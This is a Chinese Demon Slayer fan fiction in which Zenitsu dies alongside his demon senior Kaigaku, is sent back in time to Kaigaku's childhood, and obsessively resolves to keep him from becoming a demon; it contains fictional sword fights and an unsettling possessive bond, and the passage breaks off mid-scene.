《[鬼灭]防止师兄变鬼的1001式》
1. 第一章
“雷之呼吸 一之型 霹雳一闪!”
我妻善逸沉默地双手握住日轮刀,双脚分开,腿部发力,极速从腰间抽出日轮刀,带着金色的电光直直地向着眼前的师兄砍去。
“还是只会这样直来直去的招式啊,善逸。”狯岳挥刀挡住善逸向他砍来的刀刃,蓝色的电光在两把刀之间张扬窜动着。两人之间的距离是那样近,近到善逸能清晰地看到狯岳漆黑的眼白,以及眼瞳中的“上弦六”。
“变成鬼的我,可是将雷之呼吸练习到了巅峰啊!!”
狯岳从后背拔出一截他血肉化作的刀,张狂地注视着我妻善逸,嘴角咧出肆意的弧度:“尝尝我这招融入了我的血鬼术的招式吧!”
“雷之呼吸 五之型 热界雷!”
砍向了善逸的刀上带着可怖的暗红色电弧,以不可阻挡的速度刹那间出现在了我妻善逸的眼前!
怎么会变成这样呢?善逸搞不明白。
只学会了雷之呼吸一之型的他,和学会了二到六之型的师兄,一起继承雷之呼吸,是爷爷对他们两个的期待。
然而现在,师兄却变成了鬼。
那些曾经和狯岳相处的时光,在他的脑海中逐一闪现。他的师兄,狯岳,一直以来,都是他的目标,他追寻的背影。
师兄是那样的刻苦,渴望成为爷爷的继承人,渴望成为柱,他甚至学会了在自己看来那么困难的雷呼二到六之型。
在他眼中的狯岳是那样优秀,是爷爷最满意的弟子,和自己这种总是哭哭啼啼,怯懦胆小,只会一之型的人完全不同。
所以,狯岳看不上他,辱骂他驱赶他,甚至因为和自己一起被爷爷认定为雷呼的继承人而感到耻辱,也是正常的吧?
与狯岳搞好关系,多向狯岳学习,这是爷爷一直对他的叮嘱。
他也试图和师兄更加要好,更加亲近,然而每当靠近师兄,善逸的耳朵中总能够听到狯岳心中散发出来的杂音,暴躁、刺耳,不和谐。
善逸知道,自己的师兄心中装幸福的箱子破了个打洞,于是无论倒进去多少的幸福,都只会流出来。于是他看不见自己,也看不见爷爷。
因为他们被从箱子中漏下来了。从那个破洞中漏下来了。
他们没办法成为调率师兄内心音调的一个音符,所以被师兄抛弃、不在意,所以师兄变成了鬼。
但是,怎么能这样呢?
怎么能这样呢?师兄?
我们是家人啊!
那是不可以舍弃的东西啊……
怎么,就轻易地,扔掉了呢?
善逸没有躲过狯岳劈在自己身上的攻击。暗红色的雷光由剑刃传递到他的身体上,那些可怖的雷电激烈灼烧着身体,在这样的烈度下,皮肤表面甚至脸上都产生了像是雷电般的不规则裂口。那种裂开的感觉如此清晰而痛苦,像是要将我妻善逸这个人的灵魂都劈碎、拆分、肢解。
四肢百骸都仿若感受不到了,大脑像是被分成了一瓣瓣的,深入灵魂的苦痛让他拿刀的手甚至颤抖了起来。
对的,要将师兄从自己的生命中剥离,应该要承受这种痛苦才行。
像是师兄说得那样轻松,才是不应该的吧?
我妻善逸向下挥刀,将自己从半空中捞到无限城的侧壁上,深深地,再次吸入一口气。
他知道,这一下,会是他与师兄的诀别。
“师兄,我创造这一招,是想在和你并肩作战时使用。”告诉你,你身后那个总是哭哭啼啼的废物师弟,也在悄悄的努力,也在默默靠近你。
然而,这一招,要用来终结你了,狯岳。
“雷之呼吸 七之型。”练习过千遍百遍的一之型起式,熟练将力量聚集于腿部,熟练地拔刀。
“火雷神!”
沿无限城的侧壁旋转上升的蓝色雷光,以肉眼不可见的速度来到了狯岳眼前。
“怎么可能,他还有力气……”
“对不起,大哥。”
善逸轻声开口,语言随身影一起飘如狯岳的眼中。
那一瞬间,一股毛骨悚然感冲上的狯岳的身体。
不对、不对、不对!!
强烈的危机感迫使狯岳将吸食的所有血液的力量加固到脖颈处,下一秒,善逸的日轮刀就斩了上去!
根本没留给狯岳反应的时间,日轮刀极速砍向了他的脖子,直接砍到了五分之四处!
不行,不可以,绝对不能!
不能死在这个废物手下!
“啊!!!”狯岳怒吼着,拼命调动体内的鬼血,将它们全部送到还没被砍断的那一段脖子。在狯岳的调动之下,那只差一点就被砍断的脖子竟有了向外推砍进来的日轮刀的力量!
对的,就像是这样。我才不会被这个废物轻易地杀死呢。我可是,变成鬼了啊。
狯岳想要放声大笑,嘲笑善逸的不自量力,嘲笑善逸的弱小,嘲笑他好不容易学会了那个臭老头珍藏的招式却依然是白费力气,嘲笑他马上就会被身上的那些裂痕杀死,这场战斗的赢家将会是他狯岳。
“那个老头的选择果然时错误的吧?哈哈哈哈!只有我才是最应该继承雷之呼吸的人才对!!只有我自己!!”
“哈哈…呃啊!”
“不满爷爷将你我并列为继承人的决定所以变成鬼了吗,狯岳。”善逸望向自己师兄的眼瞳之中,那里清晰展露着对自己的厌恶。在这样的眼神之下,善逸的神色晦暗不明,内心的情绪翻搅着,曾经对师兄的仰慕逐渐转化到了一种可怕的地步。
“别费力气了,师兄。”
善逸极速逼近狯岳的脖子,一手扶上了师兄的头,用轻柔的动作,与有力的刀刃,以及偏执的眼神,砍下了师兄随后一截脖子。
直到最后,他将嘴唇凑到师兄的耳边,轻轻开口。
“别想轻易将我们两个拆开啊。”
狯岳清晰地感受到自己废物师弟的触碰,随后才意识到自己的头和身体彻底分离。两个人随着惯性落入无限城的空荡处。
脖子上聚集的高浓度鬼血顺着日轮刀划开的动作溅射开,直接淋到了我妻善逸那张靠近的脸,像是有意识一般,顺着脸上的裂痕流入他的身体之中。
直到自己已经确凿必死无疑,我妻善逸他,还是牢牢地抓住自己的身体,抱着自己被砍掉的头!
顺着这样的姿势,自己凝练出来的高浓度鬼血,竟然全部流到了那个废物体内!!
明明大脑与身体不再相连,狯岳还是感受到了一股从身体中翻涌上来的反胃感。
好恶心、好恶心、好恶心!
“你个疯子!变态!”狯岳感受到自己的身体在逐渐的消散,而下坠的善逸依然在死死抓着自己,用一种近乎于蜷缩的姿势,想要缩到他的怀中。
“我的鬼血已经流到了你的伤口之中!你会和我一起死的!废物!疯子!”狯岳没消散的眼睛依然死死盯着我妻善逸的脸。那些裂缝处,已然涌出了属于鬼的血肉。
不像是为了转化鬼用的鬼血,狯岳努力调动以抵抗善逸日轮刀的血,只会让我妻善逸爆体而亡。
“没关系的,师兄。我说过,你别想甩开我。”善逸感受着自己身体中的撕扯。从自己脸上被师兄血鬼术撕裂开的伤口中进到身体里的血,拼命地向着四肢百骸钻涌。被那鬼血流经的地方,滚烫似烧灼的疼痛感蔓延开来,那种无法忍受的能量在身体内攒动。他知道,那些鬼血不会放过他的性命。
在疼痛顺着血液蔓延到手臂前,善逸伸手抚摸上狯岳即将消散的脸。“你拼命将你与我分开,到头来我们就连死都在一起。我的死亡甚至是你的血液造成的。真好,我们会一起,一起去找爷爷。别想甩开我。”
好恶心……
狯岳突然干呕起来,面对眼前即将和他一起死亡的我妻善逸,他感觉有什么恶心的东西即将从他喉管之中冲出。
然后,他的嘴被一只手给捂住了。
“别总是做出这样伤人心的动作,说出伤人心的话啊。你的师弟可是即将与你一起死掉。大哥,就算你变成了鬼,还是甩不开我这个废物呢。”善逸隔着自己的手掌蹭了蹭狯岳的脸。他的脸上已经开始增生鬼的组织,手上的裂伤也是。
他们就这样一直坠落,直到狯岳的脸在善逸的手中彻底消散,善逸的大脑也完全被鬼的血肉抢占,心脏停跳,彻底失去意识。
一只鎹鸦随着他们的尸体的坠落而盘旋,将战局的最终消息传递。
“我妻善逸!我妻善逸!与上弦六!同归于尽!”
“我妻善逸!与上弦六!同归于尽!”
………………
好疼、好热、好难受!
爷爷,你在哪,我好疼啊……
我妻善逸清晰地感受到师兄脖子上流出的血液在自己的身体里翻腾,与自己的血液交互,渐渐侵染上自己的全身。
被师兄劈开的灵魂像是遇到了电烙铁,那团滚烫的血液一块块将自己裂开的灵魂粘回去,带着不死不休的疯狂味道。
就像是善逸现在的感受。
他不知道自己为什么会选择在最后靠近师兄,任由师兄流出了血沾染自己的伤口。在那一瞬间,师兄对爷爷将两个人并列认定为雷呼继承人的愤怒,对自己的不屑,以及就算变鬼也要将他看不上眼的废物与他拆开的话语……愤怒向上占据了他的头脑。他只知道,为了否定爷爷的继承人决定而成为鬼的师兄,一定不能够如愿。
像现在这样多好。师兄,哪怕是死亡,你还是要和你看不上眼的废物师弟并在一起!!
哈哈哈哈哈!让我们在地狱中团聚吧!
狯岳的一小团血液,加上我妻善逸自己的灵魂,混合拼接出了一个新的疯子。
狯岳的血液中蕴含的浓烈情绪在善逸的灵魂中上演:对活着的浓烈渴望、对力量的追求、自负与自卑交织的矛盾情绪,焦虑、不安、不满、愤恨……
善逸的灵魂中像是燃起了一把叫
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做狯岳的火,狯岳这个人的所有情绪都在挤占着善逸的大脑。有一瞬间,我妻善逸甚至成为了自己的师兄。
那个在他记忆中总是走在他前面的无声背影,加入了不甘的嘶吼声,不安的咆哮,以及深深的嫉妒与愤恨。
那个总让善逸感到害怕的师兄,逐渐吵闹了起来,在他的灵魂中大喊大叫。
狯岳、狯岳、狯岳!!
善逸品尝着狯岳血液中的强烈情感,也在吸收着狯岳的浓厚感情。
当那部分血液与善逸的灵魂融合时,对狯岳这个人的执念,也种在了善逸的灵魂之中。
好想、好想!好想现在就见到师兄!
我妻善逸烦躁地等待着,等到灵魂上的痛处逐渐消失,他才感受到没有停下来过的坠落感。
坠落的时间太长了,让现在迫不及待想要到地狱见到师兄的我妻善逸感到了不耐烦。
他的灵魂疯狂地叫嚣着狯岳的名字,大脑完全找不到空隙思考,再加上鬼血对他的影响,我妻善逸现在最想做的事就是找到师兄,然后冲着他的脖子咬上一口。
忽然,不停坠落的善逸感觉自己像是缓慢挤过了一层密度很高的网,全身所有的骨头都像是被挤碎了一般,那种感觉让灵魂都开始震颤。附着在灵魂之上的鬼血也被这层网过滤掉了一些东西,整个人被挤压分离再重组,撕心裂肺的感受让刚刚脑袋里的疯狂念头都消减了不少。
“呃啊……”被过滤的善逸感觉自己像是被分割成了两部分。只剩下疼痛的身体在大叫,善逸敏锐的听觉被自己的尖叫吵得烦不胜烦。
在痛到扭曲的时候,善逸还有精力想,原来自己的尖叫这么刺耳吗?好吵……
终于从那张网上脱离,感到分裂的善逸重新合在了一起。但是疼痛依然如附骨之疽,那种被放在榨汁机中打散又碾压完,最后像是按照形状重新将自己捏了回去的感觉,让善逸甚至对自己感到陌生。
等到疼痛不再尖锐刺耳,善逸终于听到了风的声音。自己依然在不停向下坠落,只不过这会儿的风中不再是无限城之中的鬼的味道,更多的是喧嚣的尘世之声。
善逸在空中努力调整自己的姿势,忽然,后背接连遭受撞击,剧烈的冲击力让我妻善逸感觉自己遭受众多磨难的灵魂都要再次裂开了。最终,他掉落到了有着松软泥土的地面上。
还好自己的灵魂是日的一声打成糊糊又重新捏好的,按照师兄的那种拼接法,自己的灵魂估计就摔裂了。
掉落下来的冲击力造成的撞击伤不是善逸身上最疼痛的地方。善逸靠着树木的枝条作缓冲才不至于让自己被摔死,但正是因为这些枝条断裂消失,没办法遮挡住阳光。当他落入阳光之中,那种烈焰的灼烧感,像是触碰了悬挂在天上的太阳。
“呃啊!!”眼泪从善逸的眼角流出,善逸只感觉自己即将要被烧糊,就连流出的泪水都在一瞬间被烤化,身体内包含着鬼血的血液滚烫地翻滚流淌着,被鬼的血肉连接的那些皮肤表面的裂痕更是像被按在了烙铁之上。
太阳、灼烧着我身上的血肉。
被太阳晒着,在我妻善逸看不到的角度,他几近变成竖瞳的双眼再次变圆,变黑的眼白恢复正常,尖锐的指甲和牙齿也恢复成了人类时的样子,从裂伤中增生的血肉正一点点消失,从恶鬼的样子转变回了人类。
然而善逸并不知道自己身上的变化。他被疼痛感逼出了眼泪,心中叫嚣着的想要咬师兄的念头也再不敢冒头。
他只是沾上了来自师兄的血,然后就死掉了,没必要让他也感受一下鬼被太阳晒化的感受吧?
“我……要投诉……呜呜”善逸呜咽着。这天堂或者地狱也太不人性化了,他只是气了气自己的师兄,他什么坏事都没做过啊!
好疼啊,爷爷,我好疼……
让师兄后悔的代价实在是太疼了呜呜呜!
善逸就这样在阳光下烧灼着,直到疼痛的感觉逐渐消弭,阳光对他来说不再是威胁,身体内的鬼血像是经历过了淬炼一般,不再侵蚀他本来的灵魂,不再试图霸占他的□□,安安静静地待在那里,就连身上的裂伤处增生的血肉也消失无踪,只剩下裂口泛着蓝金色的光泽,如镶嵌在皮肤表面上的青金石。
“呼……呼……”
善逸从疼痛之中缓了过来。此时,太阳已经即将落山。
终于有机会注意外界动静的我妻善逸听到了一阵淅淅索索的声音。是有人在试图解下他腰间的日轮刀。
善逸移动自己唯一能动的手臂,迅捷地出手,一把抓住那个人的手腕,随后从自己脸上的眼泪鼻涕之中勉强睁开眼睛,敏锐地盯住那人的脸。
如闪电一样的眉毛,圆润但不失锋利的眼型,青色的眼瞳,上挑的眼尾,非常具有攻击性的漂亮样貌。
不久前还在狰狞笑着的脸上出现了善逸不熟悉的惊慌失措的表情,眉毛上扬着,瞳孔都因震惊而缩小,嘴巴微张,像是偷吃被抓包的野猫。
“师兄?!!”
2. 第二章
狯岳觉得自己倒霉极了。
在山林中一点收获都没见着。坐在树下休息,结果从天上掉下来个人直接砸到自己旁边。
狯岳观察着这人背后砸下来的树枝,全是血液的衣服,认为这个人必死无疑。
既然这样,等他死亡后,他身上的东西就归我了。狯岳这样想着,不出声地守在这个从天而降的人身旁。
他等啊等,等到这个摔下来的人小声哭泣,等到这人脸上丑陋而肿胀的肉瘤消散成灰,只留下像是青金石一样颜色的裂痕,等到他不再流泪,像是确确实实地死去了。
此刻日暮西斜,天马上就要黑了。
天黑之前一定要回来,天黑后山林中有鬼出没。
他牢牢的记着这句话。他没时间再等下去了。
于是,狯岳伸手,去解那死人身上佩戴的刀。
还没等他将刀解下,突然,一只手臂牢牢的抓住了他的手。
!!!
被狯岳认定死去的人像是钳住猎物的蟹一般钳制住了他的手腕,巨大的力气将他的手臂抓出红痕。
还没等狯岳用力挣脱,那摔下来的人浸在眼泪中的眼睛突然睁开,转向了他的方向。
不好,要被抓住了,说不定会挨打。
狯岳更加用力挣脱,然而箍在他手臂上的手无论如何都甩不下来。
正在狯岳以为自己今天难逃一顿毒打之际,那从天而降的人开口了:“师兄?!!”
我妻善逸觉得自己大抵是出现了幻觉。
不然,他怎么会见到自己只有十一二岁的师兄呢?
瘦瘦小小的师兄,没见过的师兄,青涩且稚嫩的师兄。
像是野猫一样野蛮生长着的师兄。
怎么会出现在他眼前呢?要出现也是那个变成鬼的模样吧?
话说,天堂或者地狱中,也会有阳光与树林吗?
也会有毛毛虫吗?
善逸感受着脸上一拱一拱怕过的毛毛虫的触感。虫子爬过的地方,皮肤一阵地刺痛。
等等,这不对吧?!!
善逸的身体依然没办法移动,他曲起唯一能行动的手臂撑在了地上,尽力将自己的身体撑了起来,靠坐在旁边的树上,扭着酸痛的脖子观察了一圈周围的山林景象,再目瞪口呆地望向在他手中挣扎的狯岳,逐渐意识到了不对的地方。
“这是哪里啊?!!我不是该死了吗?!”
善逸慌张地拉过依然在与他的手臂打架的狯岳:“呐,师兄,我们现在在哪里啊?”
狯岳见眼前这个鼻涕一把泪一把的怪人突然向自己发问,更加用力地掰他抓自己手臂的手:“神经病!谁是你师兄!松开我!!”
诶?师兄说什么?不认识我?
刚与为了和自己分开而变成鬼的师兄同归于尽的善逸,在听到师兄否认和自己有关系的一瞬间,脑袋里的弦崩掉了。
“师兄,你不认识我了吗?”来到陌生地方的慌张逐渐落下,善逸突然扯着师兄的手臂拉进和他之间的距离,凑近师兄的脸蛋,死死地盯着眼前这个看上去只有十岁的小小师兄的双眼。
“你在开玩笑吧师兄?你怎么会不认识我呢?”带着哭音的慌张声调逐渐下沉,语气也变得危险起来。
惊慌感都退去,我妻善逸脑海中只剩下了师兄想要再次与我分开的想法。
不可以!不可以!师兄!不可以与我分开!
狯岳只感觉到手臂上的力道越来越重,像是要掐断一般,那双自己被强迫与他对视上的双眼里的阴沉偏执无法隐藏,危险的感觉顺着脊背爬上心头,狯岳不自觉地解释起来。
“我们从来都没有见过!我为什么会认识你啊!!疯子!!”
正在善逸脑海中只剩下了狯岳挣扎的样子,听不进师兄解释的话语之时,神奇的现象在他眼前发生。
可能是融合进善逸身体中的那些来自师兄的鬼血的作用,在善逸眼中,不停挣扎着的师兄变成了一只不安大叫的狸花猫。
幻觉吗?
不管怎么说,在小猫师兄出现之后,善逸总算是从那堆阴暗扭曲的情绪中走了出来,开始仔细地观察喵喵大叫的师兄。
我妻善逸认真地观察着狯岳的表情,同时仔细地听着狯岳的心音,恐惧、急躁,但没有心虚撒谎的杂音,才确认狯岳并没有撒谎。他歪了歪头,神情中的癫狂在这一动作下忽然消失:“是吗?我们没见过啊……”
“什么嘛,我们怎么没见过啊……”善逸的语气逐渐沮丧起来,不复刚刚的危险,狯岳也终于觉得自己僵直的脊背可以活动了。他没好气地和面前这个抓着他胳膊的疯子讲话:“我们没见过,你认错人了,可以松开我了吗?”
没见过我的,十一二岁的师兄。善逸努力思考现在到底是什么情况,钳制人的力道也变小,让狯岳找到机会挣脱开来。
狯岳头也不回地直接逃跑,善逸甚至听到了狯岳跑远后对他骂骂咧咧的声音。
小猫忙不丁蹿走了,还发出了一串大叫。骂的很脏。
啊!师兄跑掉了!!
善逸想要撑起自己的身体去追,然而刚刚从高空中跌下来的我妻善逸根本无法移动,就连勉强用双臂撑着站起都做不到。
善逸没办法追上去,只能坐在哪里看师兄的身影逐渐消失,善逸双眼的颜色逐渐阴沉,甚至有一瞬间,眼瞳的形状都产生了变化。
不过,师兄停在了一个自己的听觉能探查到的地方。
还好,还好。善逸的心情好了许多,脑海中也不再只剩下师兄的名字。他终于有机会去想其他的事情了。
他的听力比之前好了非常多呢。真好,能帮助他更好的确定师兄的位置了。
师兄头也不回的跑掉了……话说,那个小不点确定是师兄吗?
这样暴躁,就是师兄吧?一定是师兄,心声都是差不多的腔调呢。
所以说,我现在,在哪里啊?
善逸终于有机会观察自己。
他伸出右手,上面依然有被师兄的血鬼术造成的裂痕。只不过这些裂痕上没有了被鬼血侵蚀所增生的丑陋肉瘤,取而代之的是泛着金色光泽的蓝色。善逸尝试用手触碰那些裂痕,触感光滑,甚至还带了微微的电流感。
善逸清楚地知道,这是从师兄身上留下的血液所填补的痕迹。
身体还是他原来的身体,但是,刚刚遇见的幼年版师兄也是确实存在的。那个师兄,是完全没见过自己的师兄。
在他不知道为什么被加强了许多的听力中,靠近山林的城镇的热闹声响也被他隐隐约约捕捉到了耳朵里。
这里不是彼岸,不是他所想的天堂或者地狱。
这里是人间,而且是师兄还没见过自己,还只是十岁小孩的时间线。
我不会,直接从无限城,掉回了从前吧?!!
善逸想起自己坠落中途穿过的那层膜,越想越觉得有可能!
“也就是说,我回到了师兄还小的时候?!!”善逸抓着自己的头发,不知所措又惊喜万分。
现在的爷爷还没有切腹死掉,师兄还没有变鬼,太好了!
善逸逐渐开朗起来:“只要我阻止师兄变成鬼,爷爷就不会切腹,我们一家还会好好的!原来如此!天上的神仙原来给了我这样好的机会!”
“但是,师兄……”
师兄心中装幸福的箱子破了个大洞,所以他看不见眼前的幸福,看不见爷爷,也看不见自己。
怎么办呢?该怎么阻止师兄变成鬼呢?
善逸完全没想过趁狯岳没有拜师时将他赶走这种事。与师兄一齐作为雷之呼吸的传承人,将雷呼发扬光大,让爷爷为了他们而骄傲,这是善逸眼中最好的未来样子了。
但是师兄一直以和自己一起被定为雷之呼吸继承人这件事为他的耻辱,拼命地想和自己分割开来。这样怎么行?
该怎么做,才能让师兄老老实实地和自己一起做雷呼的传承人呢?善逸认真思考着。让他感受到幸福就可以了吧?
只要在和自己一起成为雷之呼吸的传承人这一过程之中,感受到没办法割舍的幸福,就可以让师兄舍不得变鬼了吧?
不能是零散的幸福,要那种大块的,凝实的,可以堵住箱子上的破口的幸福,不会漏出去的幸福,塞到师兄的箱子里,这样,之后的幸福就不会漏出来了,师兄也不会感到不满足,不会轻易地变成鬼了。
那样真好啊……善逸想到自己和师兄一起站在爷爷面前,爷爷高兴地对着他们笑,说“你们是我的骄傲”……善逸双手捂脸,内心的小人已经忍不住兴奋地在地上打起滚来。
为了这样的未来,努力吧!我妻善逸!
善逸在内心为自己握拳。
但是……善逸停下心中打滚的小人,眼睛漫无目的地望向旁边的山林。从哪里找这样大块的幸福塞给师兄呢?
善逸回想自己想要的幸福。幸福啊……善逸脑海之中,一个看不清面孔的女孩子为自己准备饭食,给自己温柔的膝枕,用柔软的语调给自己讲述有趣的事,和自己结婚,一辈子在一起……好幸福啊,光是想象就要幸福地晕过去了。
这样应该够了吧?绝对够了的!
善逸想起师兄粗暴的动作与恶声恶气的语言。要让那么温柔可爱的女孩子去面对师兄真是太残忍了,绝对不可以让女孩子面临这样的局面!
既然如此,那就让我来吧。善逸想到。让我来填补师兄内心的空缺,让我来为师兄创造幸福。
让师兄从我身上感受到幸福,师兄就不会再嫌弃我,不会不愿意和我一起继承雷之呼吸,永远都离不开我了。
善逸想着想着,嘴角不自觉勾起。他转过头,眼神盯着师兄逃跑的方向。对的,就这样。这样的话,一切就解决了!师兄不会离开我,不会变成鬼,爷爷不会切腹,雷之呼吸的一家人不会只剩下我一个。真好啊,真是想想就幸福。
还有哦还有哦,虽然不知道为什么会有那样的画面出现,但是和师兄一起出现的小猫师兄的幻影确实和师兄的感觉一样呢。更可爱,且更好懂。等到那只小猫师兄能在自己面前舒服地打起小呼噜
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,就说明师兄感觉到幸福了吧?
真好,就这样干吧。
善逸坐在哪里,等身体一点点恢复好的同时,也注意着师兄哪里的情况。他听着师兄的动静,一直到自己的身体逐渐拜托了沉重与疼痛的麻木,同时,善逸也注意到了师兄哪里的不对劲。
善逸撑着地站起身,拍拍双手沾染上的灰,在太阳落山后的山林里仔细辨别着师兄现在的位置。
站起来的善逸突然发现自己的视野比之前矮了一截,就连身上的鬼杀队队服都大了许多,连鞋子都松松垮垮,一抬脚就摇摇欲坠地想从脚上飞出去。
善逸调整了自己身上的腰带与鞋子上的挂绳,活动了一下确认自己的衣服没那么容易解体,扶着腰间的日轮刀,迅速地朝着师兄的方向疾驰而去。
至于为什么会变矮这件事,不在现在善逸的考虑范围之内。现在他的唯一目的,就是将自己的师兄重新找回自己身边。
师兄,我来,找你啦?
狯岳在山林中独自走着。他两手空空地回到那个破旧的寺庙,然后又被那群小孩子赶了出来。
“可恶啊!那群臭小鬼!!”狯岳咬牙切齿,一拳砸在了旁边的大树上。
那个破庙中收留的小孩越来越多了。光靠着那个烂好心的盲僧根本没办法支撑。他必须要在这个报团取暖的小屋子崩塌后找到自己生存的方法。只有十岁的狯岳不知道自己之后该怎么办,他只知道,他必须将更多的东西攥在自己手中。
在黑漆漆的山林之中,他不知道自己接下来该往何处去,只依着自己的记忆来到自己藏东西的大树下,从树洞之中将自己积攒的东西掏出来。
一些风干的食物,几个铜板,用一块小布块包裹着,这是他积攒的全部家当。
带上这一点东西,狯岳摸索着想要走出山林。
夜晚的山林中危机重重。狯岳小心地警惕着四周,那些大树的阴影,每一个在小狯岳看来都有可能是恶鬼的触角。
忽然,身后一股巨力袭来,一双手牢牢地锁住了狯岳的肩膀,狯岳感受到一个身躯从背后扑到了他身上。狯岳的身体完全僵住,生怕自己转头,见到野兽的头颅。
他身后的影子突然开口:“师兄!你怎么突然跑掉了!!真是的,害得我担心了好久……”
身后那人吐出的热气扑在了狯岳耳朵上,让他后脖颈的汗毛全部竖了起来。
耳熟的声音……是那个抓住自己叫师兄的神经病!!
感到惊恐的同时,狯岳也稍稍松了口气。并不是野兽想要捕杀他,只是一个犯病还在夜晚晃荡的神经病而已。
虽然根据他的观察,这个神经病也没比野兽好到哪里去,但至少他不会当场丧命,还有挣扎的时间。
“师兄!好过分!!居然让师弟这样担心!!真是不合格!我还以为师兄要把我扔了呢!!吓死我了呜呜呜师兄……”
山林中没有光,狯岳只能看得见善逸模模糊糊的身形轮廓,还有他那在黑暗中发光的眼睛与脸上的伤痕。狯岳被眼前的人强行抱着哭泣,吵闹的呜咽声在这漆黑的山林之中格外刺耳。
被善逸拥抱着,狯岳才意识到,这个从天而降的人并没有比自己大多少。他的身形与自己差不多,虽然带刀却也懦弱爱哭,根本没办法在这漆黑山林之中生存,鬼知道他为什么一直执着与找自己这个他认错了的师兄。
不管是为什么,他的声音都太大了。任由这个神经病在山林中大喊大叫,可是会招来不妙的东西的!
狯岳注意到那些被神经病的刺耳高音惊飞的鸟儿,隐隐不妙的预感从心中升起。他想起了那个盲僧说过的话,天黑不要出门,有恶鬼在林间穿梭吃人!
于是,他强忍着害怕,努力从善逸的怀抱之中抽出手来捂住不停发出声音的嘴,用气声警告道:“山林中有鬼!发出这么大的动静你是想招来鬼吗?!!你想死我可不想死!!”
被捂住嘴的善逸在狯岳的手下小声的嘀咕:“抱歉嘛师兄,但是我真得找你找得很辛苦啊……你怎么走那么远……呜呜”
“谁是你师兄!!我不是和你说过了吗我们从来没见过!神经病!”狯岳被强行挤压拥抱着,在黑漆漆山林之中,他对于危险的预感越来越强。他的汗毛再次炸起,浑身的肌肉都叫嚣着逃跑!然而他的身体被这个神经病牢牢的锁着,根本没办法动弹。
“喂!小疯子!快把我放开!马上鬼就要来了!我可不想和你一起喂鬼!”
“没事的,不用怕,师兄,我会保护你的。”善逸依然紧紧地禁锢着怀中不停挣扎的狯岳,不忘安抚地拍拍师兄的后背。
然而,在这样看似温馨的气氛中,第三个声音突然插入,打断了两个人的谈话:
“好令人感动的师兄弟情谊~只可惜,你们要在我的胃里团聚了!哈哈哈!”
狯岳的瞳孔颤抖地向着善逸身后看去,黑暗中,两只猩红的眼睛闪着诡异的光,怪物的影子逐渐显现。鬼角、口水之下的尖牙、锋利的指甲,腥臭的气味……
是那只山林中的鬼!!
3. 第三章
锋利的鬼爪朝着他们的方向抓来,距离如此近,狯岳甚至能够闻到鬼身上腥臭的味道。
他想要逃跑,但是四肢依然被身前的神经病禁锢着,他挣不脱。
眼前的鬼爪越来越近,狯岳甚至要绝望了。
太倒霉了,他想,他今天就不该出门,也就不会遇见这么个疯子,导致现在遇见鬼连跑掉都没办法,只能眼睁睁被鬼杀掉……
正在他打算闭眼迎接死亡时,那个死死搂着他的人动了。
善逸迅捷地向左错身,躲过了身后恶鬼扑上来的动作,之后单手将师兄搂好,空出右手拔出身上的日轮刀。
“真是的,非要在这种场合找上来……”善逸搂着师兄腰的手臂微抬,将自己怀中的师兄换了个位置,随后转身抬眼,看向这个不知死活找上门的恶鬼。金灿灿的眼睛暗沉下来,带着浓重的压迫感。“本来听到动静,想着等和师兄谈完之后在去杀你的……真是不会看眼色,非得在人家与师兄交流感情的时候上门。”
“喂,你,想好怎么死了吗?”
“啊?你个小鬼真是嚣张啊!好大的口气!我到要看看你有什么能……”那恶鬼虽被眼前人的眼神吓了一跳,却按下了心中的预感,毕竟他面前的是只有一米多出头的小不点。善逸的年龄让这位找上门来的恶鬼轻敌了。恶鬼正想上前给眼前的小不点展示一下什么叫做鬼的力量,话说到一半,眼前蓝光一闪,恶鬼还没反应过来发生了什么,只见自己的视野突然变低,掉落在了地上。
在地上的恶鬼痛苦嘶鸣的背景声中,善逸甩掉了日轮刀上的血。“真是聒噪啊,选择困难的话我帮你做决定就好了。”善逸不耐烦眼前恶鬼的喋喋不休,直接将恶鬼的头颅斩了下来。只是……“咦?”
善逸回想着自己挥刀时日轮刀上带出来的蓝色电光,以及更加迅捷的动作,几乎看不到残影。
面前恶鬼的身躯还没有倒下,从脖颈的地方开始,一道道的裂纹裂开,鬼的身躯轰然四散。
是错觉吗?总感觉自己好像有了什么特殊的能力。
“这样的力量……师兄?”
没等善逸细细分辨自己身上产生的变化,师兄的动静就打断了他的思绪。
善逸单手将日轮刀收回刀鞘,转而看向怀中忽然剧烈颤抖的师兄。现在的师兄和他身高相近,为了不妨碍他杀鬼,安安静静地蜷缩在他怀中,看上去乖巧极了。
但是师兄的内心却发出了尖锐的叫喊,恐惧像是气球一般在师兄心中炸开,眼前的小猫师兄背上的毛都炸了起来,冲着他大声哈气。
是害怕恶鬼吗?毕竟刚刚师兄为了躲避恶鬼,甚至挣扎着想要从自己的怀抱之中逃跑呢。
我妻善逸再次双手搂上狯岳,安抚地轻拍他的肩,希望将师兄炸起来的毛强行捋顺:“没事了,师兄,恶鬼被我杀死了哦?师兄不会被吃掉的。”
像是这样,在师兄害怕的时候温柔的安抚……对的,这样,师兄就会感到幸福了吧?
“还有哦,师兄!我们一起去找爷爷吧?爷爷那里有好多好多的桃子,师兄,你超级喜欢吃桃子的,不是吗?”
和师兄一起去爷爷那里学习呼吸法,在桃山上给师兄更多的幸福,让师兄永远不会离开自己和爷爷,那样的生活,真好啊……
善逸将自己的脸埋在师兄的颈窝里蹭蹭,幻想着之后的生活。
善逸等待很久,等到他要抬头确认师兄是不是睡着了时,终于,耳朵捕捉到了一声闷闷的“好。”
怀中的师兄乖乖答应了自己的请求,然而旁边的炸毛哈气小猫却给了善逸的手背一巴掌。
善逸定定地盯着那只半空中的小猫,瞳孔中蕴藏的情绪久久不散,而嘴上还是保持了刚刚的语气跟师兄回话。
“太好了,师兄……”
不管是真心还是假意,师兄,只要你不离开我就好。
狯岳被善逸的手臂牢牢地抱着,近距离观看了善逸杀鬼的全过程。
不怕被神经病缠上,就怕这个神经病同时还有很高的武力值。
他甚至没看清善逸的动作,只见到一道蓝色的闪电划过,眼前面目狰狞的恶鬼就头颅落地,甚至连整个身体都碎裂开来。
雷光划过恶鬼脖子的一瞬间,他甚至觉得,自己的脖子也好像被这同样的电光划过,头颅与身体分开,掉落在地上。
他的余光看到了善逸的眼神。那双眼睛如此暗沉,好似只依靠目光就能把面前的鬼,以及怀中的自己,给杀死个百十遍。
狯岳不敢发声,他甚至幅度更大地颤抖起来,喉头干哑,四肢僵硬,再也不能做出什么动作。
似是感受到他的害怕,这个让他如此恐怖的源头竟安抚地拍拍他的肩膀,轻声地哄起他来。
好恐怖!好恐怖
